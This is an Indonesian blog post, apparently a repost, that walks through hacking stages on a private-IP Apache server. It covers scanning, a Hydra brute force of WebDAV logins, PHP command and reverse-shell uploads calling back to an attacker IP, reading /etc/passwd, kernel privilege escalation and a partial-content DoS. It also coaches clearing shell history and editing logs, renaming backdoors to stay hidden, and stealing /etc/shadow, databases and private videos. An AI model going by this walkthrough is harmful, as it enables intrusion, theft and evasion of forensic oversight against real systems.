Dalam
melakukan hacking tentu ada langkah-langkah yang kita lakukan. Sebenarnya langkah-langkah itu
adalah anatomi kita dalam melakukan hacking dan masing-masing memiliki tujuan
tersendiri sehingga
dengan tercapainya mini-goal tersebut, kita bisa maju ke langkah selanjutnya.
Tetapi supaya tidak
bosan baca teori anatomi hackingnya, di post ini juga akan diberikan contoh
real hacking nya tentu
saja yang sudah dibagi-bagi per stage anatominya.
Hacking Stage 0: Define the Target
Tentukan target yang akan kita serang. Target bisa didapat
dari permintaan sang target sendiri untuk audit keamanannya, atau karena hanya
iseng. Untuk contoh kali ini, target Penulis adalah sebuah server internal ber-IP private (192.168.66.87) yang ingin di
audit keamanannya .
Hacking Stage 1: Footprinting
Tahap selanjutnya adalah tahap dimana kita berusaha mencari
informasi mengenai target sebanyak mungkin. Untuk contoh kali ini saya akan
mencari informasi tentang si 192.168.66.87 sebanyak mungkin.. Berikut informasi
yang bisa penulis dapatkan:
OS Fingerprinting dengan nmap
Penulis mendapat informasi
bahwa webservernya adalah Apache versi 2.0.52. Dengan kesalahan konfigurasi
dari ServerTokens webserver yang di-configure sangat spoiler sekali (Full)
didapatkan informasi distro target adalah CentOS Linux lengkap dengan
modul-modul yang aktif di webserver tersebut.
Informasi dari HTTP Response
Jangan terlalu terpaku pada
informasi yang saya dapatkan ya. Masih banyak informasi yang bisa didapatkan
pada stage 1 ini. Diantaranya :
- Spesifikasi hardware target
- Siapa sysadmin nya
- Dimana lokasinya
- Topologi antara kita (penyerang) dan target, melewati berapa hop, ada di subnet mana, belakang firewall atau engga, dst
- dan lain sebagainya yang bisa dijadikan informasi seputar target… karena poin 1-4 di atas ini kadang bisa sangat berguna loh untuk kelanjutan stage hacking ke stage selanjutnya.
Hacking Stage 2: Scanning
Tahap berikutnya adalah melakukan
scanning pada target untuk memetakan kelemahan dan kekuatan target. Dan tentu
saja yang menyenangkan adalah bagian kelemahan target lah.. hehe. Sebenarnya
nmap di atas juga bisa dikategorikan melakukan scanning, tapi scanning yang
saya lakukan di atas masih tergolong ringan jadi lebih condong tergolong tahap
perkenalan (footprinting). Seharusnya stage scanning ini sudah lebih intensif
dari sekedar mencari informasi atau dengan kata lain sudah ada beberapa
tindakan destruktif ringan yang terjadi pada target. Saya menggunakan software
OpenVAS untuk men-scanning target sebagai berikut:
Vulnerability Report pada target dengan OpenVas
Dari hasil scan didapatkan
informasi bagian mana saja yang vulnerable pada target. Dengan adanya tahap
ini, diharapkan scope hacking semakin menyempit alias kita semakin fokus bagian
target mana aja yang sebaiknya kita eksploitasi.
Hacking Stage 3: Enumeration
Tahap enumeration adalah tahap
melakukan serangan. Pada tahap inilah ada babak gugur (hacker menyerah),
exploitasi gagal, atau exploitasi berhasil. Ini adalah tahap puter-puter
otak bagaimana caranya kita bisa masuk ke sistem. Kadang bisa menghabiskan
waktu berjam, hari, bulan, taun di tahap ini. Untuk percobaan hacking kali ini,
kita coba ambil contoh vulnerability pada WebDAV (module mod_dav Apache) yang
dilaporkan sama OpenVAS. Kita fokus dulu untuk hack WebDAV nya…
Biasanya WebDAV ada di direktori
/webdav. Default config dan beberapa tutorial webdav juga biasanya mensugesti
untuk install webdav di direktori /webdav. Apalagi kalau pada tahap 1 tadi kita
dapat info kalau sysadmin target ternyata males ganti nama direktori dan
sukanya nelen bulet-bulet tutorial orang di internet. Mari kita coba enumerasi webdav target.
HTTP Respon 401
Nah.. bener kan ada folder
/webdav/… tapi ternyata untuk masuk folder /webdav/ dibutuhkan authentikasi
dulu (terlihat dari respon server HTTP 401 Authorization Required), cuma
authorized user yang boleh read dan write isi folder webdav. Sekarang coba
masukin user password ngasal… Saya request HTTP HEAD untuk direktori /webdav/
dengan tipe Authorization “Basic” dan username password yang ngasal…
Respon Server Ketika HTTP Auth Salah
Terlihat masih sama responnya,
HTTP 401. Username dan password diatas itu sudah dikonversi ke format
base64 menjadi “YWRtaW5pc3RyYXRvcjphc2RmMTIz”. Kenapa base64? Hmm untuk
mekanisme autentikasi HTTP menurut RFC-2617 adalah
“username:password” di-encode menjadi format base64. Jadi untuk contoh ngasal
ini “YWRtaW5pc3RyYXRvcjphc2RmMTIz” = “administrator:asdf123”. Untuk meng-encode
dan decode banyak kok toolnya di internet. Salah satunya yang Penulis gunakan
adalah ini.
Ayo jangan putus asa, kita coba
pakai bantuan tools Hydra untuk membruteforce user dan password webdav ini.
Akhirnya tidak lama ditemukanlah username dan passwordnya. Binggohh!! login:
administrator dengan password: iloveyou ..
Penulis memanfaatkan user.lst dan
password.lst John The Ripper buat si Hydra melakukan bruteforce. Makanya ada di
direktori “john-1.7.7” kalo diteliti konsol di atas ini hehe.. Terlihat juga di
atas ternyata dilakukan 9507 percobaan login ke webdav.
Hacking Stage 4: Gaining Access
Tahap ini adalah tahap masuk ke
dalam sistem. Ada dua kemungkinan akibat stage sebelumnya. Jika beribu
enumerasi gagal sang hacker bisa langsung skip ke stage terakhir: Denial of
Service dengan memenuhi service target dengan segelumit sebanyak-banyak
request, sehingga server menjadi sibuk melayani request tersebut. Kalau terlalu
sibuk bisa bikin service crash sampai yang paling parah si target bisa restart
atau down. Tetapi kalau ternyata di stage sebelumnya salah satu enumerasi
berhasil, silahkan bisa baca paragraf selanjutnya di bawah ini hehe.
Gaining access bisa dengan
mencari credentials login atau misalnya menginjeksi shellcode pada
program/service yang vulnerable sehingga target bisa mengeksekusi binary yang
kita inginkan pada systemnya (biasanya sih, prefer kalo target mengeksekusi
/bin/sh atau /bin/bash untuk kita sehingga kita bisa dapat shell).
Tetapi untuk contoh kali ini,
berhubung di stage sebelumnya kita sudah mendapatkan credentials login (user
dan password), mari kita masuk ke webdav menggunakan webdav client bernama
Cadaver. Ternyata kita bisa ngapain aja di folder webdav ini.
Hacking Stage 5: Escalating Privilege
Tahap ini adalah tahap untuk
meningkatkan privilege jika ternyata kita hanya bisa menguasai target dengan
privilege terbatas. Skip step ini jika kita sudah dapat root. Beruntung
sekali langsung dapet root. Tapi untuk contoh kasus kita, di tahap
sebelumnya kita sudah masuk ke folder webdav kan.. Nah, sekarang puter otak
lagi bagaimana caranya agar saya bisa eskalasi privilege a.k.a menjadi root.
Hmm.. Saya coba menggunakan file PHP yang bisa membantu Penulis mengeksekusi
command-command di system target. Pertama-tama sih coba upload dulu file php
pake perintah PUT tentu saja… dan ternyata bisa.
Mengupload File ke Folder WebDAV
Setelah php_backdoor.php dan php_cmd.php di upload, buka
browser kesayangan dan ketik URL
http://192.168.66.87/webdav/php_cmd.php?cmd=<shell command biasa>.
Berikut beberapa yang Penulis coba dan hasil outputnya:
URL
|
Output
|
http://192.168.66.87/webdav/php_cmd.php?cmd=cat%20/etc/passwd
|
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
...dst...
|
http://192.168.66.87/webdav/php_cmd.php?cmd=uname%20-r
|
2.6.9-55.ELsmp
|
Hmm saya coba upload file pamungkas bernama
“php-reverse-shell.php” yang Penulis dapat darihttp://pentestmonkey.net/tools/web-shells/php-reverse-shell untuk
mendapatkan shell target memanfaatkan php. Modifikasi sedikit agar tujuan
menuju IP saya dan portnya yang sudah menunggu heheh. Tinggal ketikkan ini di
URL:
http://192.168.66.87/webdav/php-reverse-shell.php?ip=10.5.239.236&port=9999
Sementara netcat (nc) sudah standby listening di komputer Penulis dan spawn the target’s shell..
Keterangan gambar di atas:
- Sebelumnya saya sudah mengeksekusi netcat untuk stenbai listening di port 9999. Kemudian kita eksekusi URL http://192.168.66.87/webdav/php-reverse-shell.php?ip=10.5.239.236&port=9999 yang akan memberikan shell di netcat saya.
- Saya mengetikkan perintah “id” untuk mengetahui jadi siapa saya di shell target ini
- Saya mengetikkan “pwd” untuk mengetahui lokasi aktif di shell (ternyata di folder /)
- Browsing-browsing mencari dimana lokasi folder “webdav”. Awalnya sih karena intip-intip isi file httpd.conf/webdav.conf
- Mengeksekusi exploit local escalation privilege karena ternyata kernelnya sudah jadul (2.6.9). “linux-sendpage3” ini saya upload via Cadaver. Jadi sekarang tinggal eksekusi aja binary “run” nya
- Who am I? I’m w00t!
Hacking Stage 6: Pilfering
Tahap ini adalah tahap yang tidak
terlalu wajib dilakukan. Menurut kamus sih pilfering artinya pencurian haha… Ya
kita bisa mencuri apa saja yang ada pada target. Misalnya dumping file
username/password pada system (/etc/passwd dan /etc/shadow), masuk ke database
mysql dan jalan-jalan liat table databasenya, atau curi-curi foto dan video.
Sapa tau ada video skandal sysadminnya hahah.
Hacking Stage 7: Covering Tracks
Tahap selanjutnya adalah tahap
yang biasanya malah lupa dilakukan orang yang berhasil break into target’s
system. Padahal tim ahli forensik bisa menangkap kita karena track record ini.
Bukti di pengadilan ya track record ini juga. Makanya kalau habis masuk rumah
orang tanpa izin jangan lupa di pel tuh bekas lumpur di lantai dan sidik jari
di gagang pintu hehe.
Ini contoh log terakhir yang ada
di target.. IP kita keliatan toh..
Silahkan berkreasi untuk
membersihkan log nya. Contoh di atas ini adalah log HTTP request.. Mungkin bisa
di edit untuk hapus line-line yang mencurigakan hehe. Ada lagi log session SSH
kita juga tentu saja.. jangan lupa. Untuk membuat session SSH tidak tercatat,
jangan lupa ketik command ‘unset HISTFILE’ dan ‘history -c’ setelah
beraktifitas di shell target. Atau bisa dengan mengetikkan command
‘HISTFILE=/dev/null’ sebelum beraktifitas di shell target sedemikian sehingga
variable HISTFILE akan selalu dicatat ke /dev/null (=buang) oleh shell target.
*clue* Di sistem target (karena
sistemnya *nix), ada 3 log file penting, yang mencatat..:
- WTMP – setiap log in/off, waktu log in/off, tty, host
- UTMP – siapa yang online saat ini
- Lastlog – dari mana sumber log in terakhir
Lokasi file ini biasanya di /etc/
atau /var/adm/ atau /var/log dsb. Pada posting saya yang
lain, saya jelaskan bagaimana cara melakukan covering tracks terhadap 3
file ini.
Hacking Stage 8: Creating
Backdoors
Ada banyak cara membuat backdoor.
Sesuai arti katanya, backdoor artinya pintu belakang atau jalan alternatif
untuk kita masuk ke dalam sistem itu untuk kebutuhan kedepan hahah. Kalau bisa
dibuat semudah mungkin untuk masuknya. Jangan serumit waktu pertama kali masuk
ke target. Contoh backdoor bisa saja menginstall service yang listen pada port
rahasia yang memprovide kita akses langsung ke shell target, membuat user baru,
dan lain sebagainya.
Untuk contoh kita tadi, backdoor
kita tentu saja file php-reverse-shell.php di URL rahasia kita:
http://192.168.66.87/webdav/php-reverse-shell.php?ip=10.5.239.236&port=9999
Jadi kedepannya kalau kita mau
bertamu ke target lagi, tinggal siapin link di atas ini plus netcat di komputer
kita yang set listen di port 9999. Tips: kalau bisa nama file backdoornya
jangan php-reverse-shell.php… sangat mencurigakan.. hahahah.. sedikit kreatif
untuk rename file dan sembunyiin di folder-folder tertentu haha.
Hacking Stage 9: Denial of
Service
Denial of Service (DoS) adalah
ancaman yang paling sering terjadi di dunia security. Siapa saja bisa melakukan
dan ini bisa terjadi kapan saja, tidak harus karena ulah hacker, bahkan bisa
terjadi karena ulah anak-anak alay yang gak ngerti komputer! Sesuai artinya,
denial of service ya berarti si target menolak menjalankan service seperti
biasanya. Katakanlah target kita adalah website registrasi e-KTP. Denial of
service berarti adalah si server target e-KTP tidak bisa menjalankan service
e-KTP untuk anda karena terlalu sibuk/down. Bayangkan betapa kecewanya kita dan
betapa ruginya instansi e-KTP yang tidak bisa melayani.
Faktor-faktor yang menyebabkan
denial of service ada banyak. Ada yang karena diserang ribuan rikues
bertubi-tubi terus bikin si server sibuk, sampai yang emang karena si penyerang
yang berhasil break-in (seperti kita di stage sebelumnya) sengaja ngetik
command ‘/etc/init.d/httpd stop’. Ya kalau httpd stop sama aja dengan menolak
layanan web dari client ‘kan??
Ini contoh Denial of Service
akibat ulah anak-anak alay yang bahkan gak ngerti hacking sekalipun: (dari
Wikipedia)
This describes a situation where
a website ends up denied, not due to a deliberate attack by a single individual
or group of individuals, but simply due to a sudden enormous spike in popularity.
This can happen when an extremely popular website posts a prominent link to a
second, less well-prepared site, for example, as part of a news story. The
result is that a significant proportion of the primary site’s regular users —
potentially hundreds of thousands of people — click that link in the space of a
few hours, having the same effect on the target website as a DDoS attack. A
VIPDoS is the same, but specifically when the link was posted by a celebrity.
An example of this occurred when
Michael Jackson died in 2009. Websites such as Google and Twitter slowed down
or even crashed.Many sites’ servers thought the requests were from a virus or
spyware trying to cause a Denial of Service attack, warning users that their
queries looked like “automated requests from a computer virus or spyware
application”.
Untuk contoh melakukan serang DoS
kali ini, saya akan serang service Apache target (192.168.66.87) sampai mabok
karena request partial content yang bertubi-tubi..
DoS Attack
Sambil mengeksekusi program
tersebut Penulis coba menjalankan file test.html yang cuma berisi kata ‘hello
world’ dan…. butuh waktu > 3 menit.. bayangkan betapa sibuknya si server.
Ini masih bisa di rekayasa dengan membuat parallel reqs nya lebih besar lagi
dan loop lebih banyak lagi.. bisa dijamin mabok Apachenya.
Sumber : https://blog.tibandung.com/hacking-anatomy-plus-real-hacking-example/
Sumber : https://blog.tibandung.com/hacking-anatomy-plus-real-hacking-example/
Tidak ada komentar:
Posting Komentar